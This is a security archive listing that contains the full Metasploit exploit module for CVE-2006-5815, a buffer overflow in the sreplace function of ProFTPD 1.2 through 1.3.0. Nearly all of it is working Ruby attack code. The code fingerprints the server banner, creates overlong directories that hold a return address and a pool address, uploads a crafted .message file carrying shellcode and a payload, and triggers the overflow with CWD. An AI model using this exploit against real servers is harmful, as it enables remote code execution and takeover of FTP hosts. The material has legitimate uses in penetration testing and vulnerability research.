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ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)

ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
Posted Jan 10, 2011
Authored by Evgeny Legerov, jduck | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in versions 1.2 through 1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function within the "src/support.c" file. The off-by-one heap overflow bug in the ProFTPD sreplace function has been discovered about 2 (two) years ago by Evgeny Legerov.

tags | exploit, overflow
advisories | CVE-2006-5815, OSVDB-68985
SHA-256 | 41d4996163aa5db3c1f65003fa4feea5044edfa1112cac105c463346d43f029b

ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)

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##
# $Id: proftp_sreplace.rb 11526 2011-01-09 23:33:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions 1.2 through
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
within the "src/support.c" file.

The off-by-one heap overflow bug in the ProFTPD sreplace function has been
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
this off-by-one bug via MKD command, but failed. We did not work on this bug
since then.

Actually, there are exists at least two bugs in sreplace function, one is the
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
via 'sstrncpy(dst,src,negative argument)'.

We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
version, but the version 1.3.0rc3 introduced some interesting changes, among them:

1. another (integer) overflow in sreplace!
2. now it is possible to reach sreplace stack-based buffer overflow bug via
the "pr_display_file" function!
3. stupid '.message' file display bug

So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
of sreplace function.

Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.

The exploit is a part of VulnDisco Pack since Dec 2005.
},
'Author' =>
[
'Evgeny Legerov <admin [at] gleg.net>', # original .pm version (VulnDisco)
'jduck' # Metasploit 3.x port
],
'Version' => '$Revision: 11526 $',
'References' =>
[
[ 'CVE', '2006-5815' ],
[ 'OSVDB', '68985' ],
[ 'BID', '20992' ],
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ],
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ],
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],

#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'Ret' => 0x41414242,
'PoolAddr' => 0x43434545
}
],

#
# specific targets
#

[ "ProFTPD 1.3.0 (source install) / Debian 3.1",
{
# objdump -D proftpd|grep call|grep edx
'Ret' => 0x804afc8, # call edx
# nm proftpd|grep permanent_pool
'PoolAddr' => 0x80b59f8
}
]

],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 26 2006'))

register_options(
[
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
], self.class )
end


def check
# NOTE: We don't care if the login failed here...
ret = connect

# We just want the banner to check against our targets..
print_status("FTP Banner: #{banner.strip}")

status = CheckCode::Safe

if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
ver = $1
maj,min,rel = ver.split('.')
relv = rel.slice!(0,1)
case relv
when '2'
status = CheckCode::Vulnerable

when '3'
# 1.3.x before 1.3.1 is vulnerable
status = CheckCode::Vulnerable
if rel.length > 0
if rel.to_i > 0
status = CheckCode::Safe
else
status = CheckCode::Vulnerable
end
end
end
end

disconnect
return status
end


def exploit
connect_login

# Use a copy of the target
mytarget = target

if (target['auto'])
mytarget = nil

print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
raise RuntimeError, "No matching target"
end

regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end

if (not mytarget)
raise RuntimeError, "No matching target"
end

print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end

#puts "attach and press any key"; bleh = $stdin.gets
res = send_cmd(['CWD', datastore['WRITABLE']])

pwd = send_cmd(['PWD'])
if pwd !~ /257\s\"(.+)\"/
raise RuntimeError, "Unable to get current working directory"
end
pwd = $1
pwd << "/" if pwd[-1,1] != "/"

dir1 = "A" * (251 - pwd.length)
res = send_cmd(['MKD', dir1])

res = send_cmd(['CWD', dir1])

res = send_cmd(['PWD'])

dir2 = "B" * 64
dir2 << [mytarget.ret].pack('V')
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
dir2 << "\xcc" * 28

res = send_cmd(['DELE', "#{dir2}/.message"])
res = send_cmd(['DELE', "250"])
res = send_cmd(['RMD', dir2])

filedata = ''
filedata << 'A'
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
filedata << "\x25C" * 11
filedata << 'A'
filedata << payload.encoded
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
filedata << "\x25\x43\x41" * 10

res = send_cmd(['MKD', dir2])
res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')

# Trigger sreplace overflow
res = send_cmd(['CWD', dir2])

handler
disconnect

end

end
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